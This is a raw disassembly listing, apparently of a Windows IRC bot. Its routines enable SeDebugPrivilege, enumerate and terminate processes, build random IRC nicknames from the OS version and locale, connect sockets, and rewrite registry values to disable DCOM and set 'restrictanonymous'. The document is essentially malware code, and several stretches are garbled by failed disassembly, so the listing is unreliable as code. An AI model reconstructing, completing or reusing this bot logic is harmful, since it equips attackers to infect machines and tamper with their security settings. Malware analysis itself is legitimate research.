loc_4104EC:				; CODE XREF: seg000:0040E00Dp
					; sub_41069D+74p
		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_431EB0, ebx
		lea	edi, [ebp-128h]
		mov	[ebp-12Ch], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp-34Ch]
		mov	[ebp-350h], ebx
		rep stosd
		jz	loc_410696
		cmp	ds:dword_431E94, ebx
		jz	loc_410696
		cmp	ds:dword_431DB0, ebx
		jz	loc_410696
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_410481
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_431EB0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410689
		lea	eax, [ebp-12Ch]
		mov	dword ptr [ebp-12Ch], 128h
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_431E94
		mov	esi, ds:dword_41D068
		test	eax, eax
		jz	loc_410684


loc_41058F:				; CODE XREF: seg000:004105AAj
					; seg000:004105B8j ...
		lea	eax, [ebp-12Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_431DB0
		test	eax, eax
		jz	loc_410684
		cmp	[ebp+18h], ebx
		jnz	short loc_41058F
		cmp	[ebp+14h], ebx
		jnz	loc_41063C
		cmp	[ebp+0Ch], ebx
		jz	short loc_41058F
		push	dword ptr [ebp-124h]
		push	8
		call	ds:dword_431EB0
		cmp	[ebp+1Ch], ebx
		mov	edi, eax
		mov	dword ptr [ebp-350h], 224h
		jz	short loc_4105F9
		lea	eax, [ebp-350h]
		push	eax
		push	edi
		call	ds:dword_431D5C
		push	dword ptr [ebp-124h]
		test	eax, eax
		jz	short loc_4105FF
		lea	eax, [ebp-230h]
		jmp	short loc_410605
; ---------------------------------------------------------------------------


loc_4105F9:				; CODE XREF: seg000:004105D7j
		push	dword ptr [ebp-124h]


loc_4105FF:				; CODE XREF: seg000:004105EFj
		lea	eax, [ebp-108h]


loc_410605:				; CODE XREF: seg000:004105F7j
		push	eax
		lea	eax, [ebp-550h]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_411963
		add	esp, 10h
		lea	eax, [ebp-550h]
		push	1
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F466
		add	esp, 14h
		push	edi
		call	esi ; dword_41D068
		jmp	loc_41058F
; ---------------------------------------------------------------------------


loc_41063C:				; CODE XREF: seg000:004105AFj
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-108h]
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41058F
		push	dword ptr [ebp-124h]
		push	ebx
		push	1F0FFFh
		call	near ptr 0A70000h


loc_410666:				; CODE XREF: seg000:00410668j
					; seg000:loc_410666j
		jns	short near ptr loc_410666+1
		jnz	short loc_410666
		mov	edi, eax
		call	esi ; dword_41D068
		push	ebx
		push	edi
		call	near ptr 0A70000h
		outsd
		test	eax, eax
		jnz	short loc_41067F
		push	edi
		call	esi ; dword_41D068
		jmp	short loc_410696
; ---------------------------------------------------------------------------


loc_41067F:				; CODE XREF: seg000:00410678j
		push	1
		pop	eax
		jmp	short loc_410698
; ---------------------------------------------------------------------------


loc_410684:				; CODE XREF: seg000:00410589j
					; seg000:004105A1j
		push	dword ptr [ebp-4]
		call	esi ; dword_41D068


loc_410689:				; CODE XREF: seg000:00410561j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_410481
		pop	ecx
		pop	ecx


loc_410696:				; CODE XREF: seg000:00410526j
					; seg000:00410532j ...
		xor	eax, eax


loc_410698:				; CODE XREF: seg000:00410682j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41069D	proc near		; DATA XREF: seg000:0040EBB4o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_42EFE8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_411963
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_4106FC
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40F466
		add	esp, 14h


loc_4106FC:				; CODE XREF: sub_41069D+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	loc_4104EC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_410724
		push	offset dword_42EFAC
		jmp	short loc_410729
; ---------------------------------------------------------------------------


loc_410724:				; CODE XREF: sub_41069D+7Ej
		push	offset dword_42EF74


loc_410729:				; CODE XREF: sub_41069D+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_411963
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41075C
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40F466
		add	esp, 14h


loc_41075C:				; CODE XREF: sub_41069D+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_408CFE
		push	[ebp+var_14]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		insd
		pop	edi
		pop	esi
sub_41069D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41077B	proc near		; CODE XREF: seg000:0040DFAFp
					; sub_41154A+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 0A70000h
		xchg	eax, esi
		mov	esi, eax
		test	esi, esi
		jz	short loc_4107AD
		push	0
		push	esi
		call	near ptr 0A70000h
		xchg	al, [ebp+560975C0h]
		xor	edi, edi
		call	ds:dword_41D068	; CloseHandle


loc_4107AD:				; CODE XREF: sub_41077B+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41077B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107B2	proc near		; CODE XREF: seg000:00402129p
					; sub_4026D6+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_4119BF
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_41D660
		call	sub_412224
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4107B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4107E2	proc near		; CODE XREF: sub_410B4D+49p
					; DATA XREF: seg002:off_42F030o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_424408
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_411EDA
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_424380, esi
		jle	short loc_41083B


loc_410815:				; CODE XREF: sub_4107E2+57j
		call	sub_4119BF
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42F084
		push	1Ch
		push	edi
		call	sub_411EDA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_424380
		jl	short loc_410815


loc_41083B:				; CODE XREF: sub_4107E2+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4107E2	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		pop	ecx
		call	sub_4119BF
		push	3
		mov	ebx, [esp+14h]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_424380
		test	esi, esi
		jle	short loc_410883


loc_41086D:				; CODE XREF: seg000:00410881j
		call	sub_4119BF
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_41086D


loc_410883:				; CODE XREF: seg000:0041086Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_42F08C
		push	eax
		push	esi
		call	near ptr 0A70000h
		movsd
		movsx	eax, ds:byte_42F08C
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_4108C9:				; CODE XREF: seg000:004108D4j
		cmp	eax, ecx
		jnz	short loc_4108D0
		mov	[ebp-4], edx


loc_4108D0:				; CODE XREF: seg000:004108CBj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4108C9
		push	61h
		pop	ecx


loc_4108D9:				; CODE XREF: seg000:004108E4j
		cmp	eax, ecx
		jnz	short loc_4108E0
		mov	[ebp-4], edx


loc_4108E0:				; CODE XREF: seg000:004108DBj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4108D9
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_411EDA
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_424380, esi
		jle	short loc_410925


loc_4108FF:				; CODE XREF: seg000:00410923j
		call	sub_4119BF
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42F084
		push	1Ch
		push	edi
		call	sub_411EDA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_424380
		jl	short loc_4108FF


loc_410925:				; CODE XREF: seg000:004108FDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_41D138	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_42F090
		push	1Ch
		push	edi
		call	sub_411EDA
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_424380, esi
		jle	short loc_41099A


loc_410974:				; CODE XREF: seg000:00410998j
		call	sub_4119BF
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42F084
		push	1Ch
		push	edi
		call	sub_411EDA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_424380
		jl	short loc_410974


loc_41099A:				; CODE XREF: seg000:00410972j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_430AD0
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_41D000	; GetVersionExA
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_410A24
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_410A04
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4109F4
		mov	esi, offset a95	; "95"


loc_4109F4:				; CODE XREF: seg000:004109EDj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_410A60
		mov	esi, offset aNt	; "NT"
		jmp	short loc_410A60
; ---------------------------------------------------------------------------


loc_410A04:				; CODE XREF: seg000:004109E4j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_410A14
		mov	esi, offset a98	; "98"
		jmp	short loc_410A60
; ---------------------------------------------------------------------------


loc_410A14:				; CODE XREF: seg000:00410A0Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_410A5B
		mov	esi, offset aMe	; "ME"
		jmp	short loc_410A60
; ---------------------------------------------------------------------------


loc_410A24:				; CODE XREF: seg000:004109DBj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_410A5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_410A3D
		mov	esi, offset a2k	; "2K"
		jmp	short loc_410A60
; ---------------------------------------------------------------------------


loc_410A3D:				; CODE XREF: seg000:00410A34j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_410A4D
		mov	esi, offset aXp	; "XP"
		jmp	short loc_410A60
; ---------------------------------------------------------------------------


loc_410A4D:				; CODE XREF: seg000:00410A44j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_42F09C
		jz	short loc_410A60


loc_410A5B:				; CODE XREF: seg000:00410A1Bj
					; seg000:00410A2Bj
		mov	esi, offset dword_423E60


loc_410A60:				; CODE XREF: seg000:004109FBj
					; seg000:00410A02j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_42F094
		push	1Ch
		push	edi
		call	sub_411EDA
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_424380, esi
		jle	short loc_410AA4


loc_410A7E:				; CODE XREF: seg000:00410AA2j
		call	sub_4119BF
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42F084
		push	1Ch
		push	edi
		call	sub_411EDA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_424380
		jl	short loc_410A7E


loc_410AA4:				; CODE XREF: seg000:00410A7Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AAA	proc near		; CODE XREF: sub_410B4D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41D044	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_410AF9
		call	ds:dword_431E9C
		test	eax, eax
		mov	eax, offset dword_42F0A8
		jnz	short loc_410AE2
		mov	eax, offset byte_430AD0


loc_410AE2:				; CODE XREF: sub_410AAA+31j
		push	eax
		push	esi
		push	offset dword_42F0A0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_411EDA
		add	esp, 14h
		jmp	short loc_410B19
; ---------------------------------------------------------------------------


loc_410AF9:				; CODE XREF: sub_410AAA+22j
		call	ds:dword_431E9C
		test	eax, eax
		mov	eax, offset dword_42F0A8
		jnz	short loc_410B0D
		mov	eax, offset byte_430AD0


loc_410B0D:				; CODE XREF: sub_410AAA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_410B19:				; CODE XREF: sub_410AAA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_411FB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_410B48
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_413320
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_413150
		add	esp, 18h


loc_410B48:				; CODE XREF: sub_410AAA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_410AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B4D	proc near		; CODE XREF: sub_409EB0+7Fp
					; sub_40A018+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42F02C


loc_410B59:				; CODE XREF: sub_410B4D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_410B74
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_411D80
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_410B7E
; ---------------------------------------------------------------------------


loc_410B74:				; CODE XREF: sub_410B4D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_410B7E:				; CODE XREF: sub_410B4D+25j
		test	eax, eax
		jnz	short loc_410B90
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_42F090
		jl	short loc_410B59
		jmp	short loc_410B9E
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_410B4D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_42F030[eax*4]
		pop	ecx


loc_410B9E:				; CODE XREF: sub_410B4D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_410BB1
		push	[ebp+arg_0]
		call	sub_410AAA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_410B4D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_410B4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BB6	proc near		; DATA XREF: sub_410C83+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_431E90
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_431F10
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410C74
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_431E38
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43702C[ecx], esi
		jz	short loc_410C74
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_431F1C
		push	eax
		mov	edi, offset dword_460D5C
		push	offset unk_42F0AC
		push	edi
		call	sub_411963
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40F466
		push	edi
		call	sub_408CFE
		add	esp, 28h


loc_410C74:				; CODE XREF: sub_410BB6+5Dj
					; sub_410BB6+7Ej
		push	esi
		call	ds:dword_431F28
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_410BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410C83	proc near		; DATA XREF: seg000:0040CF35o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_41D050
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_410CB1:				; CODE XREF: sub_410C83+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_42F0E8
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_436E20
		push	eax
		call	sub_413150
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_410BB6
		push	edi
		push	edi
		call	ds:dword_41D064	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_410D1D


loc_410D12:				; CODE XREF: sub_410C83+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_410D1D
		push	32h
		call	esi ; dword_41D050
		jmp	short loc_410D12
; ---------------------------------------------------------------------------


loc_410D1D:				; CODE XREF: sub_410C83+8Dj
					; sub_410C83+92j
		push	[ebp+var_4]
		call	ds:dword_41D068	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi ; dword_41D050
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_411A40
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_431DC4
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_431E8C
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_411A40
		add	esp, 0Ch
		jmp	loc_410CB1
sub_410C83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D74	proc near		; DATA XREF: seg000:0040F0D4o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_410DBB
		call	sub_410DD4
		jmp	short loc_410DC0
; ---------------------------------------------------------------------------


loc_410DBB:				; CODE XREF: sub_410D74+3Ej
		call	sub_4110F8


loc_410DC0:				; CODE XREF: sub_410D74+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_41172B
		pop	ecx
		push	0
		call	near ptr 0A70000h
		pushf
sub_410D74	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DD4	proc near		; CODE XREF: sub_410D74+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_431F60, edi
		jnz	loc_410F06
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_431F00
		test	eax, eax
		jnz	short loc_410E5F
		mov	ax, ds:word_42F4D0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_431EB4
		test	eax, eax
		jz	short loc_410E41
		push	offset unk_42F48C
		jmp	short loc_410E46
; ---------------------------------------------------------------------------


loc_410E41:				; CODE XREF: sub_410DD4+64j
		push	offset dword_42F45C


loc_410E46:				; CODE XREF: sub_410DD4+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_431E6C
		jmp	short loc_410E72
; ---------------------------------------------------------------------------


loc_410E5F:				; CODE XREF: sub_410DD4+36j
		lea	eax, [ebp+var_214]
		push	offset unk_42F418
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_410E72:				; CODE XREF: sub_410DD4+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_410E91
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_410E91:				; CODE XREF: sub_410DD4+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408CFE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_431F00
		test	eax, eax
		jnz	short loc_410EFF
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_431EB4
		test	eax, eax
		jz	short loc_410EE1
		push	offset unk_42F3B4
		jmp	short loc_410EE6
; ---------------------------------------------------------------------------


loc_410EE1:				; CODE XREF: sub_410DD4+104j
		push	offset unk_42F36C


loc_410EE6:				; CODE XREF: sub_410DD4+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_431E6C
		jmp	short loc_410F19
; ---------------------------------------------------------------------------


loc_410EFF:				; CODE XREF: sub_410DD4+E2j
		push	offset unk_42F31C
		jmp	short loc_410F0B
; ---------------------------------------------------------------------------


loc_410F06:				; CODE XREF: sub_410DD4+13j
		push	offset unk_42F2D8


loc_410F0B:				; CODE XREF: sub_410DD4+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_410F19:				; CODE XREF: sub_410DD4+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_410F38
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_410F38:				; CODE XREF: sub_410DD4+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408CFE
		cmp	ds:dword_431F88, edi
		pop	ecx
		jnz	loc_4110B3
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_410F5B:				; CODE XREF: sub_410DD4+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_431DDC
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_410FF8
		cmp	eax, 0EAh
		jz	short loc_410FF8
		mov	esi, offset off_42F128


loc_410F8C:				; CODE XREF: sub_410DD4+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40FAB7
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_410FA3
		push	offset unk_42F2A0
		jmp	short loc_410FA8
; ---------------------------------------------------------------------------


loc_410FA3:				; CODE XREF: sub_410DD4+1C6j
		push	offset unk_42F260


loc_410FA8:				; CODE XREF: sub_410DD4+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_410FDB
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_410FDB:				; CODE XREF: sub_410DD4+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408CFE
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_42F148
		jl	short loc_410F8C
		jmp	loc_411090
; ---------------------------------------------------------------------------


loc_410FF8:				; CODE XREF: sub_410DD4+1AAj
